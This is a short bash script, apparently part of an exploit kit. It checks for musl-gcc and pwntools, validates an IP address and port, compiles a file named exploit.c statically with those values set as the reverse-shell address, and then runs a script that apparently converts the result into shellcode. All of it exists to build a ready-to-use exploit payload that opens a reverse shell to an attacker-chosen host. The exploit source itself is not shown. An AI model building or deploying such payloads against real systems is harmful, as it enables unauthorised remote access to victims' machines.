#!/usr/bin/env bash is_musl_gcc_installed() { command -v musl-gcc >/dev/null 2>&1 || { echo "musl-gcc is not installed"; exit 1; } } is_pwntools_installed() { python3 -c "import importlib; importlib.import_module('pwn')" >/dev/null 2>&1 || { echo "python3-pwntools is not installed"; exit 1; } } [[ $# -eq 2 ]] || { echo "Usage: $0 "; exit 1; } IP=$1 PORT=$2 if [[ $IP =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then IFS='.' read -r a b c d <<< "$IP" for o in $a $b $c $d; do (( o >= 0 && o <= 255 )) || { echo "Invalid IP!"; exit 1; } done else echo "Invalid IP"; exit 1 fi [[ $PORT =~ ^[0-9]+$ && $PORT -ge 1 && $PORT -le 65535 ]] || { echo "Invalid PORT"; exit 1; } is_musl_gcc_installed is_pwntools_installed musl-gcc -o exploit exploit.c -O3 -s -static -DREV_SHELL_IP="\"${IP}\"" -DREV_SHELL_PORT="\"${PORT}\"" python3 exp2sc.py